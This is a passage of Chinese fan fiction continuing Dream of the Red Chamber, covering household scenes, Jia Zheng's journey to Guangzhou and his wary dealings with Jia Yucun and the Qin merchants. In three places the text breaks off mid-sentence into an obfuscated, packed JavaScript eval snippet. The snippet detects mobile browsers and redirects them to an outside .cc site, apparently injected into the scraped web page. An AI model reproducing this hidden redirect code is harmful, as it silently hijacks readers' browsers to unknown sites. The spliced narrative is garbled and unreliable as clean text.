贾珠日常要帮着贾政管外面的事,况且自从抄家之后,家里更不比从前。之前外面的许多事情根本不需要操心,自然都很顺遂。如今其他人眼看着贾府经历了那一遭,怕是再也没有机会恢复曾经的鼎盛,捧高踩低的人也就越来越多了。 贾政不日又要出发去广州,贾赦病重,贾琏去了金陵,王夫人又要操心照顾贾母,偌大的家业,如今外面只能依靠着贾珠一个人。贾珠自己也深感责任重大,做起事来认真勤恳,和探春配合得很好。 * 早春时节,荣府花园里的迎春花开得正盛,一簇簇嫩黄色小花朵带来了春天的气息。 尤氏和李纨妯娌两个刚从贾母处离开,二人随意在花园里逛一逛。 贾母虽然身体恢复了许多,只是精气神再也没有之前那么好了。饭吃不多,也懒怠走路,说一会儿话就累了。王夫人担心贾母身体,每日总有多半的时间守在跟前。 “兰儿,今日的功课做好了吗?”李纨看着贾兰走到自己跟前,就弯了腰为他理好衣服,又摸了摸他的头。 “功课做好了,兰儿想过来看看老祖宗。”贾兰答道。 “真是个乖巧懂事的好孩子!”尤氏听了更加喜爱贾兰,又牵着贾兰的小手,将他抱了起来。 “他现在长个子了,你可抱不动的!”李纨笑道。 尤氏只轻轻抱了一下,就松开了手,又道“我看见这孩子,就喜欢得不知如何是好了!” 李纨听了,也很同情尤氏,她还不到三十岁,也一直没有个亲身骨肉,虽有个继子,可又是那样荒唐。如今家里只剩她一个人,也实在是寂寞些。 “我本来想和太太说,让你住到我旁边的院子,只是太太说已经安排好了···”李纨又道。 尤氏正弯着腰逗贾兰玩,听了李纨的话,也就笑道“凤丫头之前的院子既小巧,离老太太也近,是我跟太太说的,住那儿比较方便的。” “她还在时,的确和你关系极好!”李纨又道。 “难道还吃醋了不成?”尤氏打趣道。 “哪有呢?她还在时,一个人就能顶十个人的空,从老太太,太太,再到孩子们,没有人不喜欢她的热闹性子。如今我眼看着家里的人越来越少,也确实有些想她了···”李纨说罢,难得叹了口气。 “她如今倒是海阔天空地逛去了,等她回来,自然要和咱们聚一回的!”尤氏说罢,又不禁想起了王熙凤临走前对自己的叮嘱,没想到,竟然都应验了。 “说起这个···”李纨凑到了尤氏耳边,又道“我听老爷太太的话,也都有意搬回金陵呢!” 尤氏点点头“我也是这么想的,如今不比从前了啊!还是回金陵的好···” “凤丫头也在金陵,她虽然不方便来看咱们,但咱们总能去王府看她的。”李纨又道。 “从前也没有见你多么想她呢?”尤氏笑道。 李纨却叹了口气“真的自己管了家,才知道凤丫头以前多么不容易,又要伺候老的,又要照顾小的,还能兼顾这家里大大小小的事情,我实在不及她太多!” “她的确是个能干的!”尤氏附和道。 “大嫂子,怎么站在外面说话,也不嫌冷吗?”探春和宝钗挽着手也走了过来。 “你们两个从哪里来?”李纨问道。 “刚从母亲那里出来,母亲顾不上,我们两个就帮忙打点父亲要用的东西。”探春回道。 “你们俩这是去哪呢?”尤氏又问道。 探春笑了笑,心想这两个大嫂子倒是问的详细,就答道“去看看二哥哥,好几天不见他了,也不知忙什么呢?” “宝玉自然是忙着读书呢,就要考试了,他这几天更上心了。”李纨答道。贾珠总是去找宝玉说话,因此李纨比较清楚。 “去看看吧!说不定咱们家也要出一个状元了!”尤氏笑了笑。 * 探春和宝钗先去看过了贾母,又和王夫人说了几句话,顺道来看宝玉。 此时宝玉正在奋笔疾书,黛玉却坐在他对面,也写着什么东西。 “我说怎么不见林姐姐呢?宝姐姐说你在这里,果然说对了!”探春指着黛玉笑道。 宝玉和黛玉都抬头笑了笑,二人双双搁了笔,陪着探春和宝钗聊天。 “不用管我们,你快考试了,还是忙你的是正经,我们略坐一坐就走了。”宝钗柔声道。 宝玉心里还因为之前自己言语中冲撞了宝钗的事而不好意思,如今看她这样自然,自己也不好扭捏,就笑道“不妨事的,你们不来,我也要歇一会儿的。” “二哥哥,有把握吗?”探春看向宝玉。 “他自己说的,小事一桩呢!”黛玉偷笑了一下。 宝玉也有些羞涩地笑了笑,答道“这两次只考最基本的东西,应该没有大问题。之后要想考中举人,进士,那才难了呢!” “林姑父是探花出身,你若考不上进士,只怕林姐姐要瞧不起你呢!”探春笑看一眼黛玉和宝玉。 “不论能不能考中,就当积累经验,磨练心性了。”宝钗也劝道。 “宝姐姐,你不用故意宽慰他。宝玉这次可是赌咒发誓了的,他若一次考不上就要放弃,那我可真瞧不起他了!轻易放弃的人无论做什么都不会有成就的。”黛玉靠着宝钗,又对宝玉笑了笑。 “我只恨从前把光阴虚度了,如今十几岁了才认真学习,难免晚了些···”宝玉叹道。 “多的是十几岁才开蒙的人,二哥哥五六岁就识得上千字了,可不要这样妄自菲薄。”探春安慰道。 “并不是我要谦虚。只是真的开始认真钻研这些书···”宝玉指了指桌面厚厚几摞书,又道“才能意识到里面的大智慧,之前是我眼界短浅了。” 宝玉说罢,又看向宝钗道“宝姐姐,我应该谢谢你那天对我说的话。” “我有说什么吗?”宝钗眨了眨眼,故意问道。 宝玉挠挠头,回道“宝姐姐一直在劝我做正事,而我却不以为然,将你的好心都浪费了。” “没关系的,宝姐姐宽宏大量,并不在意这些。”黛玉笑道。 “你很懂我吗?”宝钗又问黛玉。 黛玉趴在宝钗肩头,挨着她的脸,才回道“除了姨妈,我想不到比我更懂宝姐姐的人了···” “你这话要是让湘云听到,她肯定要找你打一架的。”探春笑道。 “那就让湘云来吧!总是抢着和宝姐姐一起睡,我都没位置了!只好三个人睡,可是你哪里知道三个人睡有多挤呢!”黛玉瘪了嘴巴,又叹口气。 “这么说你们三个谁都不能分开了吗?”探春又道。 “若是三妹妹请我与你一起睡,我勉为其难也能答应。”黛玉双手叉腰,故意不看探春。 探春却哼了一声,又笑道“也不知道谁之前偏要和我一张床的!真是人心不古啊!” “你现在只顾着日夜陪在二姐姐身边,哪里想得到我?”黛玉又道。 探春听了,忽然意识到自己和黛玉湘云亲近的时候变少了,刚要开口解释时,黛玉却说“我开玩笑的,并没有别的意思,你的心我还不懂吗?” 宝钗一左一右揽着黛玉探春,又笑道“林姑娘和三姑娘一见面就吵,真是一对儿欢喜冤家!” “我才没有要和林姐姐吵,是二哥哥要和林姐姐吵,他们俩才是···”探春说了一半意识到不合适,忙打住了。 “咱们去看迎春吧,不要在这里打扰宝玉了。”宝钗说道。 “宝姐姐,我和你们一起去。”黛玉背过身,让丫鬟收拾好自己的纸笔,这才挽着宝钗探春离开了。 * 姐妹三个来到了迎春处,让她们都没想到的是,迎春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266672|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然坐在院子里,正和惜春一起画画呢! “虽然是春天了,只是还有些冷呢,二姐姐小心着凉。”探春说罢,忙拿了一件披风为迎春穿上。 “我说什么呢?见了二姐姐就忘了别人!”黛玉撇了一下嘴,却也凑到了迎春旁边。 “林姐姐,你快来看看,我们画得好不好呢?”惜春笑着招呼黛玉来看画。 黛玉听了,含笑点点头,就凑上去看。 “什么时候画的这么好了?明儿替我也画一幅好不好呢?”黛玉笑着摸了摸惜春的发辫。 宝钗看了看纸上的迎春花,又看到迎春专注的神情,就笑道“若是看了这幅画,也就不需要再去花园里赏花了。” “你们说得都太夸张,哪有那么好呢?”迎春微微红了脸,手下一笔不稳,就没画好。 宝钗见迎春满脸可惜,就笑道“别着急,让我看看怎么补救。”迎春听了就要将手中的笔递给宝钗,宝钗却没有接。 黛玉和探春从不知道宝钗会画画,也等着看她表现。 “这里的确画的有些过了,不如顺势画成楼子花,怎么样呢?”宝钗笑了笑。 宝钗见迎春只是笑着点头却不动笔,心里疑惑,就问道“我说的不合适吗?你怎么不画呢?” 迎春有些懵,回道“宝姐姐不是说你要画吗?” 旁边的黛玉和探春早就听明白了,黛玉笑得不行,只好靠着探春,又对宝钗道“还以为是宝姐姐自己要画呢!连二姐姐都误会了!” 宝钗也笑了笑,回道“我哪里会画画呢?你们可曾见我画过?不过是描几个花样子罢了···” 迎春又红了脸,就提笔按照宝钗所说的,画了一朵楼子花。 “虽然只见过这样的荷花,没见过迎春花起楼子的,但见了二姐姐这样画的,想必实际也就是如此了!”黛玉赞道。 “你啊,总是这么会说好话!”探春在黛玉额头点了一下,又继续环着她的肩膀。 “花草同人一样,气脉充足就长得好。”宝钗看了画,突然叹道。 黛玉和探春听了还不怎么,只有迎春听罢口中还默念了一回。 “哪里都没找到宝姐姐,原来都聚在这里呢!” 宝钗回头,果然看到英莲和袭人一起进来了。 “你们从宝玉那里来?”黛玉问道。 “袭人那会儿在妈那里找花样子,说要为宝玉做鞋。正好妈有事找宝姐姐,我们俩就一起过来了。”英莲笑道。 “有什么事找我?”宝钗问道。 “大哥哥好像遇到什么事了要和姐姐商量,不过妈说并不着急,让姐姐晚上回去就是了。”英莲又道。 “二姑娘和四姑娘画得真好,活灵活现的!”袭人看过之后,也赞道。 “你们每来一个人都要夸一句,也不知道几分真几分假,好像我和二姐姐都成了大画家呢!”惜春忍不住笑了。 “我也觉得画得极好呢!”英莲也道。 “好了,又来一个!”惜春故意皱了眉头,又对迎春道“二姐姐,这名声都传出去了,看来咱们还要勤加练习才是!” 迎春被逗得笑出了声,强忍住落下了最后一笔。 “画是好画,只是光秃秃的,还缺几行题字。”黛玉笑着看向探春。 “袭人的字也有很大进步了,二姐姐,不如让袭人来写,好不好呢?”英莲轻声道。 “这好极了!我却忘了咱们又有了一个才女呢!”黛玉听了,立刻走到袭人跟前,又将笔递给她。 袭人见众人都笑着看她,不禁红了脸。握着笔的手也微微颤抖,只是不好推脱。 英莲牵着她的手将她带到桌前,笑道“不要紧张,就像平时练习那样写就好了···” “只是要写些什么呢?”袭人问道。 “你只顾让人家写字,却忘了作诗!”探春笑着拍了一下黛玉的手。 黛玉也不恼,对袭人笑道“我念一句,你写一句···” “林姐姐堪比七步成诗的曹子建了···”英莲低声赞道。 “顿觉阳和至,迎春早吐花。风来疏绿叶,律转斗黄葩···”黛玉停了下来,又看宝钗。 “冻蝶惊新梦,寒蜂出旧衙···”宝钗接了一句,又笑看探春。 “预知天地意,逐暖露光华。”探春接完,袭人也写好了。 迎春满意地笑道“明日将它裱起来,挂在屋里,每日都要看一看,就能想起今日的场景。” 93.随君直到南海边 贾赦从牢里出来后,就一直卧病在床。请了几个太医来,都说不是大病,只开了调养的方子。 只是一直没有起色,渐渐竟然连说话都费劲了。贾母自己身体也不好,邢夫人和王夫人都不敢如实告诉贾母,怕她担心太过。 张雪月已有了三个月的身孕,据大夫说,胎儿很是健康,只要照常养胎就好,并没有特别需要担心的。 邢夫人不仅日夜要服侍贾赦,一有空闲时间就来看张雪月。张雪月也觉得这样不是常法,就陪着邢夫人待在贾赦处,婆媳二人一起伺候贾赦,也省得邢夫人总是记挂着张雪月了。 张雪月刚来的时候,下人们偶尔还说几句怪话,但被邢夫人听到一次后,她竟狠狠发落了那个下人,后来就再也没人敢在张雪月跟前有丝毫的不恭敬。 贾政准备启程前的几日,也不再去衙门当差,每日都和王夫人一起在贾母处陪着。若天气和暖,贾母精神也好时,贾政就搀着母亲到园子里走一会儿。 这日母子二人在前面走着,王夫人李纨尤氏等在后面跟着。 “定了哪天走吗?”贾母问道。 “后天。”贾政回道。他心里却隐隐有些担忧,因为这个问题贾母之前已经问过两次了。 贾母听了又点头道“有件事我想和你商量···” “母亲有什么事直接吩咐就是了。”贾政笑道。 贾母停下脚步,看着幼子脸上的皱纹,忍不住伸手摸了摸,又道“你也不年轻了,却还要跑来跑去受这些罪,我也知道你都是为了这个家···” “这都是做儿子的本分,没什么辛苦的,倒是母亲操心了一辈子,也该享清福了。”贾政回道。 “我突然又想起了前几年咱们娘俩儿也在花园里散步,你与我说了好多话,只是那时候我还不以为然呢!”贾母也笑道。 “却没想到这么快就应验了。”说罢,又叹了口气。 “母亲不要再想那些事了,总之都过去了,何必想那些让自己不高兴呢!”贾政劝道。 贾政看贾母神情疲惫,就扶着她坐了下来。 “我想,趁我还清醒的时候,把家分了吧···”贾母低声道。 “母亲!”贾政忙跪了下来,又道“母亲身体还康健,为何说这种丧气话呢?” 王夫人看见贾政跪向贾母,也不好上前,就与李纨尤氏等远远站着。 “你起来吧”贾母笑道。 “我只是觉得这些年来既对不起你大哥,也对不起你,所以才想着不如分了家吧。”贾母又道。 贾政现在心里其实无所谓分家,贾赦恐怕寿命不长了,而贾琏也流放了,他们也都不能闯祸。若分了家,邢夫人和张雪月又去依靠谁呢? “母亲,还请您再也不要这样说了。如今大哥重病,琏儿又不在家,若一时分了家,嫂子和侄儿媳妇又怎么办呢?”贾政叹道“本来就四散各处了,若分了家,咱们贾家岂不真的要亡了吗?”说到这里,贾政还落了几滴眼泪。 “我的儿!我又何尝不是这样想的呢?”贾母说到动情处也是老泪纵横,又道“只是你大哥心里委屈,病也一直好不了,难道我眼睁睁看你扛着全家人的担子也不敢叫苦吗?” 贾政扑通一声跪倒在地,又磕头道“让母亲担忧本来就是儿子的罪过,还希望母亲将那句话收回吧!” 贾母看到贾政这样,哪里忍心,双手颤巍巍扶起贾政,又叹道“就依你吧,我再也不说了,咱们一家人,好歹生死都在一处···” 贾政又道“母亲,等我从广州回来,咱们全家也搬回金陵吧。史家也回去了,王家大哥哥也在那里,薛家自然也一起的,咱们四家人仍像从前那样在一处,好不好呢?” 贾母边哭边笑,连连点头。 * 贾政收到了王熙凤从广州寄来的信,看日子,她们一个月前就从广州动身了。贾政心里也很担心王熙凤若真的遇上了忠顺王爷的船,她若冲动行事就不好了。 只是担心归担心,一想到王熙凤的处事风格,况且又有平儿陪着,贾政也就略略放了心。 正在书房踱步时,贾政便听到门外数人的脚步声。 “有贵客到来,为何不进门呢?”贾政收起信件,笑对门外人道。 “本来不想打扰父亲的,没想到还是打扰了···”探春有些不好意思的回道。宝钗在她身后也走了进来。 “你母亲呢?”贾政问探春道。 “还在检查父亲走时要带的东西呢!我说已经清点了三次,只是母亲仍不放心。”探春笑了笑,也很无奈。 “咱们一起看看去!”贾政笑道。 探春听了立刻看一眼宝钗,一副我就知道会是这样的表情,倒惹得宝钗也笑出了声。 “夫人,有客人来了,快出来迎接!”贾政还没到门口呢,就朝里面喊道。 “什么客人?”王夫人闻言立刻走了出来。 贾政站到宝钗身后,将她往前轻轻一推,又道“宝钗不是客人吗?” 王夫人无奈笑了笑,回道“她们两个才出了门,怎么又是客人了?老爷若想找借口也应该仔细琢磨琢磨。”说罢,王夫人进了屋子,探春和宝钗朝贾政嘻嘻一笑,也进了屋。 独留下贾政一个在后面喊道“你们又不等我!” 贾政进屋后,见王夫人仍和锦屏忙着清点东西,就对夫人严肃道“我有正事要说,夫人过来坐吧。” 王夫人难得见贾政这样严肃,自己也上了心,就让丫鬟都先出去了。 贾政拿了茶壶,给探春和宝钗都倒了茶,走到王夫人面前要倒茶时,王夫人问道“老爷要说什么正事?” 贾政笑了笑,只顾着倒茶,也不回答。贾政最后给自己倒了一杯,才坐到王夫人跟前笑道“我若不那么说,夫人会停下来吗?” 刚一说完,也怕王夫人不高兴,忙补充道“不要着急,的确有正事要说的。” 此时探春和宝钗都笑得不行了,只是强忍着而已,贾政偏又向她们俩眨了眨眼睛,探春先忍不住,扑哧一声笑了出来。 “探春之前说想在金陵祖坟旁购置祭田,将家塾安设到那边,我也正有此意。等我离了京城,你们就去做这件事吧。”贾政正色道。 “父亲的意思是?”探春又问。 “我想等我从广州回来,咱们全家正式搬回金陵。”贾政答道。看王夫人神情凝重,贾政又补充道“自然要先将元春接出来的···” “这如何有办法呢?”王夫人忙问道。 贾政轻拍了两下夫人的手臂,柔声道“山人自有妙计!” “咱们族里在金陵还有十几房,如今虽疏远了些,但回去之后再走动也不妨事的。将家塾设在祖坟旁,也是为的那些贫苦族人的子孙读书方便。”贾政解释道。 探春点点头,又道“父亲说的很是。” “你忙着照顾老太太自然没有经历操心这个,就把这事交给珠儿和探春来做吧。”贾政又对王夫人说道。 “只是宝玉还要考试···”王夫人又道。 “本来也是要回原籍考的,等回了金陵,他若还有心读书,就在那里安安静静读书吧。”贾政回道。 “姨夫一家要搬回金陵,只怕我妈在京城就更寂寞了。”宝钗笑道。 “我还以为你们也一起回去的。”探春对宝钗说道。 “本来妈是这样想的,只是如今哥哥好像有意在京城做一番事业,他难得这样上进,我也不好劝的。”宝钗笑道。 “那么就将他留在京城好了!不然你母亲一个人多寂寞呢?”贾政建议道,又对王夫人道“你离不开妹妹,她也离不开你,我想也许并不用劝,蟠儿先要体恤自己母亲了!” 王夫人也笑了笑,回道“做母亲的总还是要以孩子为先的,也不好强求她们。” 贾政却笑着摇摇头,显然并不赞同王夫人的话,只是并没有出言反驳。 “对了,我这次去广州并不需要用钱,这些都留给你们。”贾政又让人去拿银票,全部留给王夫人。 “俗话说穷家富路,老爷难道没听过吗?”王夫人笑道。 “我们家里很穷吗?”贾政假意不知“好像还不算穷吧?” “那边也不知道什么情况,恐怕也挺乱的,带着这些身外之物反而要为它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276180|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操心了,不如不带的好!”贾政叹了口气,握着王夫人的手让她收了银票。 “宝钗,你凤姐姐给你来过信吗?”贾政又问宝钗。 宝钗点了点头,回道“一个月前凤姐姐从广州出发,如今应该快到嘉定了吧。” “嘉定在哪里呢?”探春饶有兴趣地问道。 “南边南海国的一个临海港口,许多中西贸易的船只的必经之地,很是繁华。”宝钗回道。 “真想去看看呢。”探春忍不住叹道。 “等你凤姐姐回来了,她下一次出发时,让她带你同去。”贾政笑道。 “夫人如果也想去的话,我陪着夫人去。”贾政怕王夫人出口阻止,自己先说了一句。 没想到王夫人只是笑了笑,并没多说什么。 “宝姐姐,你想去吗?”探春和宝钗离开后,心里仍记挂着这件事,又问宝钗。 宝钗却笑了笑,并没有急着回答。 “你不想去吗?不想去那些地方看一看吗?朝游碧海而暮苍梧,像书里说的这样。”探春又问。 “你我,颦儿,迎春惜春,湘云英莲,我们都去,好不好呢?”宝钗突然道。 “这好极了!”探春忍不住心里的喜悦,紧紧抱住了宝钗。 * 贾政知道此行的凶险,况且又有个贾雨村在旁边监视,恐怕忠顺王爷很不信任自己。临行前贾政又仔细盘算了一遍,他突然想到什么,立刻又去了一趟林府。 林如海心里也担心贾政,少不了一番叮嘱,而贾政让他做的事,他也都仔细记在了心里。 只是想到自己不过才从大牢里出来十来天,就又要远行,也不知道归期何日,贾政心里仍是放心不下贾母和王夫人。 在贾政心里,自己在外办事所经历的凶险不值一提,况且也都很快过去了。但只要一想到家人在京城苦苦等候他平安归来,贾政就不由得难过。 人总是宁肯自己受苦,也都不愿意至亲为自己悬心的。 贾政出发的前一晚,王夫人一直睡不着,贾政也不想睡,抱着她絮絮说了好多话。 “有夫人送我的佛珠,总会遇难呈祥的。”贾政柔声道。 “老爷,我有事问你。”王夫人突然抬起头,直直看着贾政。 “夫人请说···”贾政轻笑道。 “老爷为忠顺王爷做事,但王爷却不信任你,所以才派了心腹贾雨村跟着,是吗?”王夫人道。 “夫人怎么这么聪明了?我都没想到这里!”贾政仍想和往常那样说句玩笑话应付过去,可低头看着王夫人满是忧愁的眼眸,立刻软了心肠。 贾政点点头,回道“是的,王爷并不信任我。况且贾雨村这个人阴险狠毒,不是个善茬。” “老爷记得时时提防他”王夫人说完这句就低头没再说话了。 “夫人没有其他可叮嘱的了吗?”贾政有些奇怪。 “说再多话,到了紧要关头,老爷都会抛在脑后的,倒不如不说了。”王夫人闷声道。 “你不高兴了吗?”贾政捧起夫人的脸,柔声问道,又亲了下她看起来干涩的嘴唇。 “没有不高兴”王夫人让自己挤出一个笑容,又道“我和孩子们在京城等老爷平安归来。” “这是最后一次了,以后再也不让你在家里提心吊胆地等我,我发誓!”贾政正色道。 “发誓不发誓都不重要,只希望这串佛珠能保佑老爷···”王夫人把头埋到贾政怀里,再没说话。 “听说广州的土产很有意思,夫人喜欢什么就写信给我,我都带回来,好不好呢?”贾政忽然笑道。 “带几样那里的果品和花卉吧,能吃能看,岂不两全其美?”王夫人也笑了笑。 “不如另外带几株果树苗好不好?”贾政问道。 “只怕京城种不活那些果树。”王夫人回道。 “如果我有办法种得活呢?”贾政低头在夫人颊畔落下一个吻。 “若是种得活的话,结的第一个果子就给老爷吃吧!”王夫人像在思考。 贾政却微微摇了摇头,回道“还是咱们俩分着吃吧···” 94.海云如墨浪翻雪 从京城出发,贾政一行人先走水路,又转陆路。饶是快马加鞭不敢耽搁,也足足用了一个多月的时间才到广州。 贾政心里一直提防着贾雨村,就提前派了自己二十来个手下先到了广州待命。因为潘武和马双虎都参过军,贾政就让他们俩来领队。 宝钗将她和王熙凤在广州的铺面地址告诉了贾政,因为王熙凤若有信传来,定是先寄到这里的。况且铺子里的人对广州当地的情况也都熟悉,贾政也许有用得上的地方。宝钗又拿了一封亲笔信给贾政,凭这个就可以直接管理铺子里的管事和伙计。 虽然不一定有用,但贾政还是很感念宝钗这样的细心周到。 三月中旬的天气,岭南地区的广州早已是一片春日盎然的盛景了。 贾政心里纵有无数复杂的考量,面上只是一副处理公事的严肃态度。而贾雨村却更像来游山玩水的,看起来云淡风轻,只顾得上欣赏美景。 一行人到了广州,也没有去官府的驿站居住,只在外面找了住处。刚安置下来,贾雨村就来敲门。 “这一个多月可真是累人啊!”贾雨村边说话边笑吟吟走了进来。 “有这机会亲眼看看广州的繁华,也是好的。”贾政附和道。 贾雨村自己坐了下来,又笑道“倭国人抢了王爷的货船,不知大人有何打算呢?” 二人相处一个多月以来,这是贾雨村第一次正式询问贾政。 “应该先去港口看看情况,最近有无倭国人的船靠岸,还有在广州凡是倭国人开的铺子也应当细细查看,也许他们互相都有联系。”贾政答道。 “大人从未来过广州,怕是不太了解这里···”贾雨村只说了半句。 贾政立刻笑道“雨村有何高见呢?” “沿海边岛屿众多,也有许多是官府顾及不到的,万一倭国人从哪个偏僻小岛上了岸,再秘密潜入广州城呢?”贾雨村轻笑道。 “多谢雨村提醒,我的确疏忽了这一点。”贾政很是谦虚地谢了贾雨村。 贾雨村笑着摆摆手“王爷既然让咱们一起办这件事,就应当同心协力才对。” “我已派人将名帖送去了广州府衙和广州公行,明日一早前去拜见,然后请他们协助咱们调查。”贾政又道。 “大人想得很是周全,我再没有别的可补充的了。”贾雨村抿了一口茶。 “雨村先前到过广州吗?”贾政笑问。 贾雨村摇了摇头。 “听说这里的女子和京城可是大不相同呢?”贾政露出一个试探的笑容“晚上也没有事可做,不如咱们出去走一趟?” 贾雨村笑着点了头。 在贾政对贾雨村的了解中,此人心机深沉但喜好逛风月场所,就像当时大多数的官员一样。 如果能得到名妓的青睐,同僚们大都会羡慕此人。而贾雨村这种沽名钓誉,在乎自己颜面的人,哪能错过这种事呢?在京城和扬州时,坊间流传出许多贾雨村和歌女的风流韵事。而这也成为忠顺王爷招揽他的一个原因。 贾政和贾雨村去了广州最负盛名的花楼,二人都喝了个酩酊大醉,直到亲眼看到贾雨村被歌女扶着进了屋子,贾政自己也搂着一个假装睡觉去了。 * 夜深了,花楼里的歌舞声仍没有消散,一些客人依然热火朝天地玩乐。 花楼后门的巷口,贾政和潘武趁着夜色溜了出来,又一起上了马车。 “凤姑娘来信了吗?”贾政压低声音问道。 潘武从袖袋中拿出两封信递给贾政,又解释道“上面一封是凤姑娘从嘉定寄来的,另一封隔了四五天,也是从嘉定寄来的。” 贾政立刻打开看了,细细读过一遍,不禁长叹一口气。 “我本来只是随意嘱咐了一句,万万没想到事情就是这么凑巧,怎么偏让她遇到了?”贾政低声叹道。 “凤姑娘传了信来,大概这三两天就能到广州。”潘武补充道。 “广州公行的会长你联系过了吗?”贾政又问。 潘武点点头,犹豫道“这人话虽然说得很诚恳,但我怕他···” “担心他只是做表面功夫,却不肯出力?”贾政道。 “十三行那边的商户私下里都说这个秦会长心机深沉,不是好对付的···”潘武又道。 “秦会长?他和扬州的秦氏粮庄有关系吗?”贾政忙问道。 “他们二人是叔伯兄弟。”潘武道。 “怪不得呢!不然王爷的事,秦业如何能插一脚?”贾政低声笑了笑。 “马双虎和其他人现在在哪里安置?”贾政又问。 “按大人吩咐的,一半人在凤姑娘的铺子里,一半人在附近的客栈,没有暴露行踪。”潘武回道。 贾政点点头,贾雨村必然知道他暗中派了人过来,如果表面上一点都不显露给他看,反而让他更要起疑心了。 “你让马双虎带人,雇一小船,在南华岛那边守着凤姑娘的船,一有消息,立刻派人告诉我。”贾政吩咐道。 潘武立刻应了下来。 南华岛也是从南洋来广州必会经过的一个小岛,距离广州港口大约要走三个时辰。 “还有一件事吩咐你做,附耳过来···”贾政的声音更低了。 * 次日一早,贾政还呼呼大睡的时候,贾雨村又来敲门了。 贾政双眼朦胧,满身酒气,尴尬解释道“昨晚有些孟浪了,睡得晚了点···” 贾雨村一副我很理解的表情,笑道“大人先行梳洗,一会儿我们同去广州府衙。” 广州巡抚对贾政和贾雨村很是热络,还问候了忠顺王爷,让他们代为转达。一番客套后,又很豪爽地拨了一百个衙役给他们用,还将自己很是得力的庞师爷叫了过来,说让陪着办事。 一行人离开广州府衙,又去了广州公行。 公行也叫做官行,是在广州十三行商成立后,为了管理行商和对外贸易的一个机构。不仅负责管理商业活动,还履行一部分的外交职能。 如今公行的话事人就是已故秦氏粮庄当家人秦业的族兄,名叫秦遥。 因为提前收到了贾政的名帖,况且忠顺王爷早就私下吩咐过了,秦遥面对贾政和贾雨村同样很是恭敬,几乎是有问必答。 只是看人不能光看表面,贾政尚不清楚秦遥是否私下与倭人勾结,言谈中对秦遥也很有几分试探。 不知出自真心还是假意,秦遥一直摆着一副谦恭的态度。 “我先前在扬州时,曾经也遇到过一件关于秦家的案子···”贾政笑道。 “大人所说,是不是之前秦家货船被水匪劫去的事?”秦遥问道。 贾政点了点头,又道“你也和他们相识吗?这也巧了。” 秦遥似乎有些伤感,回道“秦业是我的同族兄弟,可惜他已经去世了···” “当时只听说是离奇死亡,难道其中还有什么故事吗?”贾政关切问道。 “他有个老毛病,一着急就容易咳嗽气喘,严重的时候甚至无法喘气,那次也是因为这个原因。”秦遥悲痛道。 “如今那边管事的是你的侄儿?”贾政又问。 秦遥说起这个,倒也露出几分笑意,回道“秦文昌正是我的侄子,虽然年纪轻一些,不过在生意上的能力比他父亲也并不差什么。” “你们秦家果然是家大业大啊!”贾政笑了笑“从扬州到广州,多少生意都是你们家的呢?” “大人有所不知,京城也有许多他们的产业呢!”贾雨村本来一直在旁听着,此时也插了一句。 贾政见秦遥和贾雨村对视一眼,他立刻收敛了笑容,说到“不说那些了,也该谈谈正事。” “倭国人在广州的生意往来多不多?”贾政问道。 “倭国人来做生意的并不多,来往最多的是荷兰人。”秦遥解释道。 “那么总该有几个售卖倭国货物的铺子吧?”贾政又道。 “大人有所不知,倭国物产贫乏,况且都不富裕,咱们这儿的人也都不喜欢用他们的东西,因此凡是倭国商人来广州,大多是进货为主,很少有卖货的。”秦遥又道。 “这些日子港口那边有倭国人的货船来吗?”贾雨村问道。 秦遥又面向贾雨村解释道“我听说是有的,只是他们规模太小,平时也很少关注他们。” “大人,不如咱们去港口看看去?在这里说来说去,也不过是纸上谈兵。”贾雨村对贾政建议道。 * 王熙凤一行人从嘉定出发前,又寄了一封信到广州。因肩负大事,王熙凤一直高度紧张,凡没必要停靠的地方都略过了。一船上乘风破浪,二十多天就回到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284098|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 广东海域附近。 从倭国人的船上解救回来的几个汉人一直昏睡着,独有一个刘青,王熙凤看他说话有条理,也不是个冒失孟浪之人,就留了他,方便回到广州后传递消息。 当日被倭国人抢去的货物,只救回来了一半,刘青甚为可惜,只是也不好指责王熙凤与王管事行事不当。王熙凤见他每日都要去货舱走一趟,检查货物是否有渗水或者损毁的,心里对他也有了两分敬意。 王熙凤喜欢认真办事的人。 这次半路返程,王熙凤也与派去孟买的管事通了信。他们都是王熙凤精挑细选过,惯于做对外贸易的人,有他们在那边开荒,王熙凤也很放心。 只是唯有一点,让王熙凤近日有些心烦。自从离开嘉定,平儿就一直愁眉不展。王熙凤若问上两句,平儿却又挤出一个笑容,顾左右而言他。 王熙凤以为平儿是因为安德烈的事而不高兴,因此她反而束手束脚,不知道如何开口询问了。 